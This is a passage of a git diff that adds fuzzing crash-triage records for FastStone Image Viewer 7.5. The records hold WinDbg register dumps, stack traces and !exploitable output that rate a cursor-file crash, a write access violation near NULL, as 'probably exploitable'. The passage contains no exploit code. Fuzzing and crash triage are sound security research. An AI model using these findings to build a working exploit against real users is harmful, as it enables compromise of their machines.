+STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2475fff Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54259/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..81189ce --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x7D8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x7D8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(7d8.f54): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fc9cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.73653e-020 -2.13021e+022 1.54428e+021 -1.05342e+008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ba000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ba000 5be7c0e9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ba000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..81189ce --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x7D8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x7D8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(7d8.f54): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fc9cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.73653e-020 -2.13021e+022 1.54428e+021 -1.05342e+008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ba000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ba000 5be7c0e9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ba000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/54858/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 